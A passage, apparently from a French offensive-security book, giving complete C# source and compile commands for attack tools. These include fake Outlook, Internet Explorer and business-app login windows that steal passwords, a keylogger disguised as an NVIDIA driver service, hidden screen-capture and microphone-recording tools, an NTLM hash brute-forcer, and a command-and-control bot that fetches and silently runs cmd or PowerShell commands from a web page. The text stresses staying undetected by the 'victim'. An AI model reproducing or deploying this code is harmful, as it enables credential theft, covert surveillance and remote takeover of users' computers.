catch { }
}

}
}
Le code source de cette application nous montre comment forcer le démarrage automatique
d’une application lors de l’ouverture de session. Elle nous montre aussi comment copier
uniquement les fichiers modifiés vers une destination et comment appliquer une stratégie de
groupe depuis une application.
Nous aurions aussi pu charger les fichiers sur un site web avec un upload :
WebClient Envoyer = new WebClient();
Envoyer.UploadFile (source, destination );
Mais le but était d’avoir une application gérant la copie de fichiers sur un partage ou un site
web sans trop écrire de code.

5. Compiler l’application
Il ne reste plus qu’à transformer notre code en application. Vous trouverez plus
d’informations sur la compilation d’une application au début de ce chapitre. L’application
créée est de type console. L’application elle-même n’est donc pas cachée à l’utilisateur. Vous
découvrirez comment le faire dans les chapitres suivants.
Allez dans le répertoire du framework 2 ou 4 puis exécutez la ligne de commande suivante :
csc /out:c:\temp\backup.exe /target:exe c:\temp\backup_cmd.txt
Vous pouvez maintenant tester votre application. Celle-ci doit copier vos fichiers vers la
destination. Lors de la modification d’un fichier, le fichier doit être mis à jour sur la
destination.

Créer des fenêtres de mot de passe


L’utilisateur d’une entreprise a l’habitude qu’on lui demande son mot de passe plusieurs fois.
Parfois il doit donner un mot de passe pour aller sur certains sites web si l’entreprise utilise un
proxy, lors de la connexion à Outlook, à Lync, etc.
Nous allons profiter de cette demande presque excessive pour demander à l’utilisateur de nous
donner son mot de passe. Nous lui donnerons comme information son nom d’utilisateur, ce
qui le mettra en confiance pour notre demande.

1. Principes de base
Nous allons d’abord choisir une application à piéger. Pour la surveiller, nous regarderons la
liste des processus. Dès la détection du démarrage de celle-ci, nous l’arrêterons, s’il s’agit
d’une application de gestion, car la fenêtre de mot de passe doit être unique. Pour des
applications comme pour Outlook ou IE, nous n’avons pas besoin de l’arrêter, il faut au
contraire attendre qu’elle ait bien démarré.
Pour surveiller un processus :
Process[] Processus = Process.GetProcessesByName("Outlook");

if (Processus.Length > 0)
Pour stopper un processus :
Processus[0].Kill();
Pour récupérer le nom de l’utilisateur et le domaine courant :
Environment.UserName;
Environment.UserDomainName;
La modification de la saisie d’écran se fera avec Paint, jusqu’à obtenir une image exempte
d’informations personnelles.

2. Créer l’application pour Outlook


Pour cette application, nous vous conseillons fortement d’utiliser Visual Studio. Nous
utiliserons une saisie d’écran de la demande d’authentification d’origine pour la reproduire au
mieux. Il sera alors plus simple de gérer la partie graphique avec Visual Studio qu’avec le
placement des champs avec le Bloc-notes. Nous vous rappellons qu’il existe une version
« express », gratuite téléchargeable sur le site de Microsoft.
Modifiez les propriétés suivantes de la forme principale pour créer une fenêtre de login
Outlook.
FormBorderStyle = None
Text = Outlook
BackgrounImage = chemin de votre saisie d’écran
Pour ne pas devoir refaire chaque bouton et chaque élément, nous utiliserons un Panel pour
chaque zone cliquable.
Placez un Panel par-dessus la saisie d’écran à l’emplacement d’un bouton, par exemple, le
bouton OK. Puis donnez comme propriété :
Name = ButOk
BackgrounColor = Transparent
Aux endroits où du texte doit apparaître, comme le nom de domaine et celui de l’utilisateur,
un Label sera idéal.
Ajoutez un Label avec comme propriétés :
Name = lblUser
BackColor = Transparent
À l’endroit où doit être écrit le mot de passe, ajoutez un champ texte avec comme propriétés :
Name = txtpass
UseSystemPasswordChar = true;
Le Panel utilisé sur la zone de titre devra permettre le déplacement de la fenêtre :
private void butTitre_MouseMove(object sender, MouseEventArgs e)
{
if (Bouge)
{

this.Location = Cursor.Position;

}
}

private void butTitre_MouseDown(object sender,


MouseEventArgs e)
{
Bouge = true;
}

private void butTitre_MouseUp(object sender,


MouseEventArgs e)
{
Bouge = false;
}
Ajoutez un Timer à la forme avec comme nom Minuteur, et avec 5000 comme délai. Pensez
à l’activer.
Le résultat de vos modifications devrait ressembler à ceci :
Ci-dessous, le code complet du fichier Program.CS, qui est particulier. Il déclare une Form
sans l’afficher, mais cela démarre déjà le minuteur qui surveille les processus.
using System.Windows.Forms;

namespace LoginPass
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
Form1 f1 = new Form1();

Application.Run();
}
}

}
Le code de la Form fait en sorte d’afficher le formulaire seulement si l’application cible est
exécutée et si aucun fichier contenant le mot de passe n’est présent.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;

namespace LoginPass
{
public partial class Form1 : Form
{
public Form1()
{
f1 = this;
InitializeComponent();
}
bool Bouge = false;
Boolean Affiche = false;
Form1 f1;
String Destination = @"c:\temp\passoutlook-"+
Environment.UserName +".txt";
private void Form1_Load(object sender, EventArgs e)
{
lbUser.Text = Environment.UserDomainName
+"\\"+Environment.UserName;
lbDomaine.Text = "votre compte " + Environment.UserDomainName;
txtPass.UseSystemPasswordChar = true;

private void butExit_Click(object sender, EventArgs e)


{

Application.Exit();
}

private void butAnnuler_Click(object sender, EventArgs e)


{

Application.Exit();
}

private void butTitre_MouseMove(object sender,


MouseEventArgs e)
{
if (Bouge)
{

this.Location = Cursor.Position;

}
}

private void butTitre_MouseDown(object sender,


MouseEventArgs e)
{
Bouge = true;
}

private void butTitre_MouseUp(object sender,


MouseEventArgs e)
{
Bouge = false;
}

private void ButOk_MouseClick(object sender,


MouseEventArgs e)
{
StreamWriter fichier = new StreamWriter(Destination );
fichier.WriteLine("utilisateur:" +
Environment.UserDomainName + "\\" + Environment.UserName);
fichier.WriteLine("Passe:" + txtPass.Text);
fichier.Close();
Application.Exit();

private void Minuteur_Tick(object sender, EventArgs e)


{
Process[] Processus = Process.GetProcessesByName("outlook");

if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{
Affiche = true;

f1.ShowDialog();
}

}
}
}
}
Le résultat est intéressant ; dès que l’application détecte Outlook, elle affiche le formulaire
avec le domaine et le nom de l’utilisateur.

3. Créer l’application pour IE


Nous allons scruter sur quel site va l’utilisateur. Dès qu’il ira sur le site de l’intranet, nous lui
demanderons ses informations d’authentification via une fenêtre de login. Pour cela, nous
devons surveiller IE et rechercher le titre de votre intranet.
La fenêtre de connexion épurée ressemble à celle ci-dessous :
Ajoutez un Label pour le nom du site visité à côté de Connexion à.
Ajoutez un Label pour le nom de domaine. Ajoutez aussi les champs de texte pour la saisie et
un Panel pour chaque bouton.
Nous allons modifier les lignes de code qui surveillent les processus pour y mettre Iexplore.
Internet Explorer crée un processus pour chaque page visitée. Seule la page active a un titre
dans la propriété MainWindowTitle de son processus.
Process[] Processus = Process.GetProcessesByName("iexplore");
Nous allons boucler sur toutes les pages visitées. Si l’une contient le nom de notre intranet,
nous affichons notre demande de mot de passe.

if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{

Affiche = true;
foreach (Process p in Processus)
{
//seule la fenêtre active a un titre
if (p.MainWindowTitle.Contains("intranet"))
{
f1.ShowDialog();
}

}
}
Pensez à changer le nom du fichier de destination pour obtenir un fichier différent contenant
les mots de passe entre Outlook et IE. Le reste du développement est le même que pour
Outlook.
4. Créer l’application pour une application de gestion
Pour créer une fenêtre de login d’une application de gestion, nous allons procéder
approximativement de la même manière. Nous allons commencer par faire une saisie de
l’écran de login sur notre machine, puis nous la modifierons avec Paint si cela est nécessaire.
L’exemple ci-dessous est l’interface volontairement modifiée d’une application réelle. Elle
n’est ici qu’à titre d’exemple.

Le principe est le même que précédemment. Nous placerons des champs de texte sur les zones
de saisie, un Panel sur chaque bouton, etc.
Une des choses qui changent, c’est que dans ce type d’applications, le login n’est demandé
qu’au démarrage. Il faut donc détecter le lancement de l’application, forcer la fermeture,
montrer notre formulaire, et enfin, redémarrer l’application normale. Et il ne faut faire cela
qu’une seule fois, en espérant que l’utilisateur nous donne le mot de passe juste.
Pour détecter l’application, il faut d’abord savoir comment elle s’appelle. Pour cela, lancez
l’application et allez dans le Gestionnaire des tâches (exécutez taskmgr.exe ou appuyez sur
les touches [Ctrl][Shift][Esc]).
Dans la liste des processus, cliquez sur l’application avec le bouton droit de la souris et
affichez les propriétés pour avoir le nom réel ainsi que le chemin du fichier exécutable.

Le code vu précédemment correspond assez bien. Il faut toutefois changer un évènement pour
que celui-ci arrête l’application et affiche le formulaire.
private void Minuteur_Tick(object sender, EventArgs e)
{
Process[] Processus =
Process.GetProcessesByName("Outlook");

if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{
Processus[0].Kill(); //Stop l’application
Affiche = true;

f1.ShowDialog(); //Affiche le formulaire


}
}
}
Nous devons aussi redémarrer l’application après avoir enregistré le mot de passe.
Process p = new Process();
p.StartInfo.FileName = @"c:\cheminApp\monApp.exe";
p.StartInfo.Arguments = "/arguments ici";
p.Start();:
Nous ajouterons le code ci-dessus dans l’évènement du bouton OK, juste avant de quitter
l’application. Donc juste avant :
Application.Exit();
L’utilisateur ne doit pas suspecter que vous cherchez à lui prendre son mot de passe. Il est
donc important que votre application ne le lui demande qu’une fois de cette manière, puis de
ne plus rien faire tant qu’un fichier contenant ces informations existe. Vous pouvez demander
à l’application qu’elle écrive le fichier dans un dossier partagé. Vous pourrez alors à
n’importe quel moment supprimer le fichier et l’application demandera à nouveau les
crédentials à l’utilisateur.

Créer un keylogger
Il existe de nombreux keyloggers. La plupart de ceux-ci utilisent un système bien connu, la
fonction SetWindowsHookEx, qui permet de s’enregistrer pour obtenir toutes les touches
frappées au clavier. Toutefois, c’est aussi le premier endroit que contrôlent les systèmes de
protection pour empêcher l’écoute du clavier.
Vous trouverez plus d’informations à propos de la fonction SetWindowsHookEx sur le site de
Microsoft à l’adresse suivante : http://msdn.microsoft.com/en-
us/library/windows/desktop/ms644990(v=vs.85).aspx
Nous allons utiliser une technique différente de celle-ci pour rester plus discrets. Notre
programme ira demander très régulièrement les touches au lieu de s’abonner. Le code
présenté gère la touche pressée, mais pas si celle-ci est en majuscule, si [Alt] ou [Shift] est
pressé en même temps.

1. Principes de base
Nous allons, pour cacher un peu plus l’application dans le gestionnaire des tâches, lui donner
un nom et des propriétés. Cela se fait par l’intermédiaire des propriétés de l’application.
Le nom donné ressemble à celui d’un service de driver.
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
Nous utiliserons dans .NET, User32.dll qui nous permettra de rechercher les informations
tapées au clavier en toute discrétion. La fonction DllImport va nous permettre de charger cette
DLL.
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
Nous allons cette fois créer une application qui ne s’affichera pas à l’utilisateur. C’est une
application de type Windows. Nous ne chargerons pas la Form principale, dans le programme.
Nous allons aussi configurer les propriétés de l’application pour ne pas apparaître dans la
partie classique du gestionnaire des tâches.
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
Application.Run();
Toutes ces particularités permettront à notre application d’être discrète et efficace. Vous
devrez encore ajouter l’application au démarrage comme vu dans le chapitre précédent.

2. Créer l’application
Créez un nouveau fichier texte appelé Driver.txt et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading;
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
namespace keyLogger
{

class Program
{

[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);

static StreamWriter fichier;


static string cheminFichier = @"c:\temp\logkey.txt";
static Form f1 = new Form();

static void Main(string[] args)


{
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
f1.WindowState = FormWindowState.Minimized;
System.Timers.Timer minuteur1 = new System.Timers.Timer();
minuteur1.Enabled = true;
minuteur1.Interval = 1;
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
fichier = new StreamWriter(cheminFichier, true);
fichier.WriteLine(DateTime.Today.ToLongDateString() +
Environment.NewLine);
Application.Run();
}

static void minuteur1_action(object sender,


System.Timers.ElapsedEventArgs e)
{
int reponse = -1;
for (uint i = 0; i < 256; i++)
{
reponse = GetAsyncKeyState(i);
if (reponse == -32767)
ecrireLog(i);
}
}

static private void ecrireLog(uint lettre)


{
uint code = 0;
code = MapVirtualKey(lettre, 2);
string texte = ((char)(code)).ToString();
fichier.Write(texte);
fichier.Flush();
}

}
}

3. Compiler l’application
Cette fois, notre application est une application Windows Forms invisible. Le type de
destination doit être winexe.
Allez dans le répertoire du framework 2 ou 4 puis exécutez la ligne de commande de
compilation, ici l’exemple avec le framework 2 :
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt
Une fois l’application exécutée, elle n’apparaît pas à l’utilisateur et pas non plus dans la partie
classique du gestionnaire des tâches.
Nous la retrouverons dans le détail avec les propriétés ajoutées au fichier.
Ça reste très discret, le log se remplit à chaque touche appuyée.
Vous pouvez créer un fichier de log sur un partage réseau, plutôt que sur la machine locale,
ça, c’est à vous d’y réfléchir.
Capturer l’écran
Nous avons vu comment capturer les touches frappées par l’utilisateur. Mais que se passe-t-il
sur l’ordinateur de la victime ? Vous allez pouvoir ajouter la fonction de capture de l’écran de
la machine cible.

1. Principes de base
Pour enregistrer l’écran, nous allons utiliser une fonction très simple à mettre en œuvre.
Pensez juste à trouver un déclencheur intéressant comme des touches ou un programme
exécuté, sans quoi l’espace utilisé par les saisies d’écran va rapidement augmenter.
Le code principal de cette application est le suivant :
g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0),
sc.Bounds.Size);
Il est complété par la gestion de tous les écrans présents, grâce au tableau ci-dessous :
Screen[] ecrans = Screen.AllScreens;

2. Créer l’application
Ce code permet la copie de l’écran et l’envoi vers un fichier image. Le code ci-dessous gère
les écrans multiples.
Créez un fichier texte qui s’appelle Capture.txt et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Threading;

namespace PrintScreen
{
class Program
{
static Form f1 = new Form();
static void Main(string[] args)
{
f1.ShowInTaskbar = false;
System.Timers.Timer minuteur1 = new System.Timers.Timer();
minuteur1.Enabled = true;
minuteur1.Interval = 5000; //5000 = 5 secondes
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
Application.Run();

private static void minuteur1_action(object sender,


System.Timers.ElapsedEventArgs e)
{
Screen[] ecrans = Screen.AllScreens;
foreach (Screen sc in ecrans)
{

string fichier = @"c:\temp\" + sc.DeviceName + "-" +


DateTime.Now.ToShortDateString().Replace(’.’, ’-’) +"-"+
DateTime.Now.ToLongTimeString().Replace(’:’, ’-’) + ".jpg";
Bitmap image = new Bitmap(sc.Bounds.Width,
sc.Bounds.Height);
using (Graphics g = Graphics.FromImage(image))
{
g.CopyFromScreen(sc.Bounds.Location, new
Point(0, 0), sc.Bounds.Size);
}
image.Save(fichier, ImageFormat.Jpeg);
}
}

}
}

3. Compiler l’application
Cette application a été définie en tant qu’application invisible. Elle doit pour cela être
compilée en une application Windows Forms. Vous pouvez aussi reprendre les éléments-clés
et les ajouter au keylogger.
Allez dans le dossier du framework que vous avez puis exécutez la ligne de compilation. Ici
pour le framework 4 :
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
csc /out:c:\temp\cap.exe /target:winexe c:\temp\capture.txt
Lors du lancement du logiciel, rien n’apparaît à l’utilisateur. Mais dans le dossier de
destination, une image de l’écran est enregistrée par moniteur toutes les 5 secondes.

Enregistrer le son
Nous avons couvert l’enregistrement du clavier, celui de son image, mais que se passe-t-il
autour de lui ? Nous allons pour le savoir enregistrer le son de son microphone. Tous les
portables en sont équipés et si la machine cible utilise Lync, Skype ou un autre logiciel de
communication, il aura aussi un microphone à notre disposition.

1. Principes de base
Pour enregistrer du son, il existe beaucoup de fonctions dans .NET mais elles nécessitent
généralement l’installation d’un SDK. Nous préférons vous donner du code qui se compile sur
toutes les machines sans ajout. Nous allons pour cela utiliser la DLL Winm.dll.
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet =
CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int mciSendString(string
lpstrCommand, string lpstrReturnString, int uReturnLength,
int hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")]


public static extern void GetWaveVolume(IntPtr
devicehandle, out int Volume);
Cette DLL est très simple à utiliser pour enregistrer du son.
Pour enregistrer le son :
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
mciSendString("record recsound", "", 0, 0);
Pour envoyer le tout à un fichier et fermer celui-ci :
mciSendString("save recsound monfichier.wav", "", 0, 0);
mciSendString("close recsound ", "", 0, 0);

2. Créer l’application
Ci-dessous le code complet d’une application en ligne de commande qui enregistre le son du
démarrage de l’application jusqu’à ce que l’on appuie sur [Entrée]. Le code est bien sûr,
comme pour les autres applications, téléchargeable sur notre site.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;

namespace Soundrecorder
{
class Program
{

[DllImport("winmm.dll", EntryPoint = "mciSendStringA",


CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int mciSendString(string
lpstrCommand, string lpstrReturnString, int uReturnLength, int
hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")]


public static extern void GetWaveVolume(IntPtr
devicehandle, out int Volume);
private static string heureEnregistrement = "";
private static string cheminFichier = @"c:\temp\"; //a changé

static void Main(string[] args)


{
SoundRecord(true);
Console.ReadLine();
SoundRecord(false);
}

private static void SoundRecord(bool enregistre)


{

if (enregistre)
{
mciSendString("open new Type waveaudio Alias
recsound", "", 0, 0);
heureEnregistrement =
DateTime.Now.ToShortDateString() + "-" + DateTime.Now.Hour + "-" +
DateTime.Now.Minute + "-" +DateTime.Now.Second;
mciSendString("record recsound", "", 0, 0);
}
else
{
mciSendString("save recsound "+cheminFichier +
heureEnregistrement +".wav", "", 0, 0);
mciSendString("close recsound ", "", 0, 0);
}
}

}
}
Nous aurions pu ajouter un détecteur de volume du son, pour déclencher l’enregistrement
d’un fichier ou l’arrêter quand plus rien ne se passe. Mais pour cela, il faut utiliser la librairie
de Microsoft.Speech, qui dans le cas de Windows 8 démarre l’application de reconnaissance
vocale. Celle-ci nécessite une configuration avant son utilisation. Le framework minimum
pour la reconnaissance vocale est le 3.5.
Au niveau du code, vous devez ajouter au début du programme l’import suivant :
using System.Speech.Recognition;
Vous pourrez ensuite utiliser la propriété AudioLevel qui renvoie le volume d’entrée du micro
entre 0 et 100.

SpeechRecognizer reco = new SpeechRecognizer();


if (reco.AudioLevel > 50)
{
//Votre code
}
Ou en utilisant l’événement associé :
reco.AudioLevelUpdated += reco.AudioLevelUpdated;
Ajoutez le code en utilisant e.AudioLevel comme référence de niveau du son.
private static void reconaissance_AudioLevelUpdated(object
sender, AudioLevelUpdatedEventArgs e)
{
Console.WriteLine(e.AudioLevel);
}
Vous trouverez plus d’informations sur le site Microsoft suivant :
http://msdn.microsoft.com/en-us/library/vstudio/system.speech.recognition.speechrecognizer

3. Compiler l’application
Pour varier, nous avons écrit l’application comme une application en ligne de commande. Il
faut donc la compiler avec comme type exe. Allez dans le dossier de votre framework puis
compilez votre logiciel comme dans l’exemple suivant pour le framework 4.
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
csc /out:c:\temp\sound.exe /target:exe c:\temp\sound.txt
Lors du lancement du programme, l’invite de commande s’ouvre. Le son est alors déjà en
train de s’enregistrer en mémoire. En appuyant sur [Entrée], le programme se ferme et vous
donne un fichier wav dans le dossier de destination.
Voilà pour vous un moyen très simple d’ajouter l’enregistrement du son à votre logiciel
d’attaque. Il est bien entendu très simple d’ajouter ces fonctions aux fonctions de keylogger et
de capture d’écran déjà vues, pour en faire une seule application très complète. Nous vous en
laissons le soin.

Casser un mot de passe


Dans un registre un peu différent de ce que nous venons de voir, nous allons créer une
application capable de casser les mots de passe cryptés de Windows. Nous avons vu dans le
chapitre Extraire, casser, changer un mot de passe que l’extraction de ces mots de passe
cryptés pouvait se réaliser avec des outils tels que SamDump.
Une fois que nous détenons un fichier texte contenant les mots de passe protégés, il s’agit de
les casser. Nous avons vu, toujours dans le chapitre dédié à la casse des mots de passe, que
ceux-ci ne sont pas cryptés, mais ce sont des hash MD4 des mots de passe, qui sont eux
encodés en Unicode. Pour retrouver un mot de passe depuis son hash, il faut alors comparer
un mot de passe possible haché à celui présent dans le fichier.

1. Principes de base
Pour cela, nous allons utiliser une bibliothèque .NET gérant MD4, gratuite et téléchargeable
sur Internet. .NET ne permet pas de base d’utiliser MD4, Microsoft préférant que les
développeurs utilisent MD5 ou les hachages encore plus sécuritaires. Dans un but éducatif,
nous nous contenterons de comparer des mots de passe de type numérique allant de 0 à 7
caractères.
Téléchargez la bibliothèque MD4 sur le site suivant :
http://www.superstarcoders.com/blogs/posts/md4-hash-algorithm-in-c-sharp.aspx
Pour comparer notre éventuel mode de passe avec celui du fichier, nous allons transformer
celui-ci en Unicode.
byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
Nous allons ensuite le transformer en MD4.
byte[] hash = ComputeMD4(hashunicode);
Puis nous transformerons le résultat en hexadécimal pour le comparer au mot de passe issu de
l’extraction.
string txtmd4 = "";
foreach (byte b in hash)
{
txtmd4 += b.ToString("X");
}
Nous utiliserons une fonction qui n’est disponible qu’à partir du framework 4. Celle-ci permet
de faire des boucles en utilisant le parallélisme, donc de résoudre normalement notre mot de
passe plus vite.
Parallel.For(0, 9999999, i => {

2. Créer l’application
Une fois la classe téléchargée, copiez le document dans un dossier. Puis créez un nouveau
fichier texte crack.txt avec le code suivant :
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Crack_num_password
{
public partial class Form1 : Form
{
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button1;
public Form1()
{
//InitializeComponent();
this.textBox1 = new System.Windows.Forms.TextBox();
this.textBox2 = new System.Windows.Forms.TextBox();

this.button1 = new System.Windows.Forms.Button();


this.SuspendLayout();
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(22, 24);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(235, 20);
this.textBox1.TabIndex = 0;
//
// textBox2
//
this.textBox2.Location = new System.Drawing.Point(22, 69);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new System.Drawing.Size(235, 20);
this.textBox2.TabIndex = 1;
//
// button1
//
this.button1.Location = new System.Drawing.Point(182, 104);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 4;
this.button1.Text = "Crack";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click +=
new System.EventHandler(this.button1_Click);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(289, 139);
this.Controls.Add(this.button1);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.textBox1);
this.FormBorderStyle =
System.Windows.Forms.FormBorderStyle.FixedToolWindow;
this.Name = "Form1";
this.Text = "Crack num pass";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
DateTime start;
private void button1_Click(object sender, EventArgs e)
{

string pass = findpassNum();


if(pass != null)
{
textBox2.Text = pass;
MessageBox.Show("le mot de passe est:" + pass + " en "
+ (DateTime.Now - start).ToString());
}
else
{
MessageBox.Show("Mot de passe non trouvé, fini en "
+ (DateTime.Now - start).ToString());
}

}
private string findpassNum()
{
string pass = null;
Parallel.For(0, 9999999, i =>
{
if (checkpass(i.ToString()) != null)
{
pass = i.ToString();
return;
}
});
return pass;
}
private string checkpass(string pass)
{
byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
byte[] hash = ComputeMD4(hashunicode);
string txtmd4 = "";
foreach (byte b in hash)
{
txtmd4 += b.ToString("X");
}
if (txtmd4 == textBox1.Text)
{
return pass;
}
return null;
}
private static byte[] ComputeMD4(byte[] buffer)
{
using (MD4 hash = new MD4())
{
return hash.ComputeHash(buffer);
}
}

private void Form1_Load(object sender, EventArgs e)


{
start = DateTime.Now;
}
static void Main(string[] args)
{

Application.Run(new Form1());

}
}
}

3. Compiler l’application
L’application que nous sommes en train de créer sera de type Windows Forms. Il y a une
particularité puisque nous la compilerons avec une bibliothèque qui est dans un fichier séparé.
Ouvrez une ligne de commande puis allez dans le dossier du framework 4.
Cd\
Cd ”C:\Windows\Microsoft.NET\Framework\v4.0.30319”
Puis tapez :
csc.exe /out:c:\temp\passe.exe /target:winexe c:\temp\passe.txt
c:\temp\md4.cs
Vous pouvez maintenant exécuter votre application. Le premier champ est celui qui doit
contenir le hash à casser. Le second est celui du résultat du mot de passe trouvé.
Vous pouvez essayer avec le hash suivant :
B7A27262E5D3516533A09F497E8A085
L’application doit pouvoir calculer le mot de passe correspondant. Au moment de tester, vous
vous apercevrez que l’application semble se figer, c’est normal, elle calcule. Nous aurions pu
éviter ce blocage en faisant appel à un Thread. Mais ce n’était pas le propos du code. Après
un certain temps, soit le mot de passe a été trouvé, soit un message s’affiche disant que rien
n’a été trouvé. Dans notre cas, le mot de passe devrait être 1223.
Vous pouvez depuis cette base créer un outil bien plus intéressant en basant vos comparaisons
sur d’autres caractères que les seuls caractères numériques.

4. Utiliser le GPU
Dans la mesure où vous avez une bonne carte graphique, vous pourriez aussi utiliser celle-ci
pour casser vos mots de passe. Pour cela, il suffit de télécharger le SDK qui correspond à
votre carte graphique et d’en adapter le code.
Pour ATI : http://developer.amd.com/tools/graphics-development/
Vous pouvez aussi utiliser des SDK qui ne se basent pas sur une carte en particulier, comme
CudaFy, en .NET, qui supporte ATI, NVIDIA et Intel : http://cudafy.codeplex.com/
Microsoft aussi se met à l’utilisation de la carte graphique :
http://msdn.microsoft.com/en-us/library/vstudio/hh265136.aspxs
http://research.microsoft.com/en-us/projects/Accelerator/
La plupart de ces bibliothèques supportent plusieurs cartes graphiques. On peut donc créer
une application capable de casser des mots de passe très efficacement en y ajoutant plusieurs
de ces cartes.

Commander un PC à distance
Lorsque vous faites exécuter une application piégée à un utilisateur, vous prenez un risque. Il
pourrait choisir de ne pas cliquer sur chaque fichier que vous lui envoyez. Il faut alors trouver
un moyen pour qu’il exécute vos lignes de commande sans lui faire exécuter plusieurs
applications truquées. Nous allons donc créer une application robot qui ira régulièrement
chercher sur un site web les commandes qu’elle doit exécuter.

1. Principes de base
Nous allons utiliser un objet WebClient pour ouvrir le fichier sans le télécharger.
WebClient pageWeb = new WebClient();
Stream flux = pageWeb.OpenRead(chemin);
StreamReader contenu = new StreamReader(flux);
La première ligne est la commande, la deuxième ligne comporte les paramètres et la troisième
indique si l’application doit être visible ou non pour l’utilisateur.
string command, param = "";
bool EstVisible = false;
command = contenu.ReadLine();
try{ param = contenu.ReadLine(); } catch { }
try { EstVisible = bool.Parse(contenu.ReadLine()); } catch { }
Le fichier de commande est un simple fichier de texte, chargé sur un site web à une adresse
fixe et ayant toujours le même nom. La variable Contenu est la page web qui est lue. Il est
possible de lire une page plus complexe comme un blog ou un forum et d’y rechercher des
commandes à exécuter. Il suffit de parser le texte de cette variable.

Le texte de commande pour afficher la ligne de commande à l’utilisateur ressemble à ceci :


Cmd
/k
True
On peut aussi exécuter des commandes PowerShell de la manière suivante :
Powershell
-command "&{ get-host; }"
False
Vous pouvez donner un nom d’utilisateur et un mot de passe si c’est nécessaire pour ouvrir la
page contenant les commandes :
WebClient pageWeb = new WebClient();

pageWeb .Credentials = new NetworkCredential("user", "Pass");


Une fois la commande récupérée, on l’exécute avec Process. Cette partie a déjà fait l’objet de
commentaires dans les développements précédents.

2. Créer l’application
Ci-dessous le code complet de l’application que vous pouvez aussi télécharger.
Ouvrez le Bloc-notes puis écrivez les lignes ci-dessous. Pensez à ajouter une fonction qui
ajoute le programme au démarrage.
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Reflection;
using System.Net;
using System.Diagnostics;

[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]


[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

namespace robot
{

class Program
{
static string chemin = "http://localhost/test/cmd.txt";
static string AncienneCommand = "";
static Form f1 = new Form();

static void Main(string[] args)


{
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
System.Timers.Timer minuteur1 = new System.Timers.Timer();
minuteur1.Enabled = true;
minuteur1.Interval = 5000; // 5 sec
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
Application.Run();
}

static void minuteur1_action(object sender,


System.Timers.ElapsedEventArgs e)
{
WebClient pageWeb = new WebClient();
Stream flux = pageWeb.OpenRead(chemin);
StreamReader contenu = new StreamReader(flux);

string command, param = "";


bool EstVisible = false;
command = contenu.ReadLine();
try{ param = contenu.ReadLine(); } catch { }
try { EstVisible = bool.Parse(contenu.ReadLine()); } catch { }
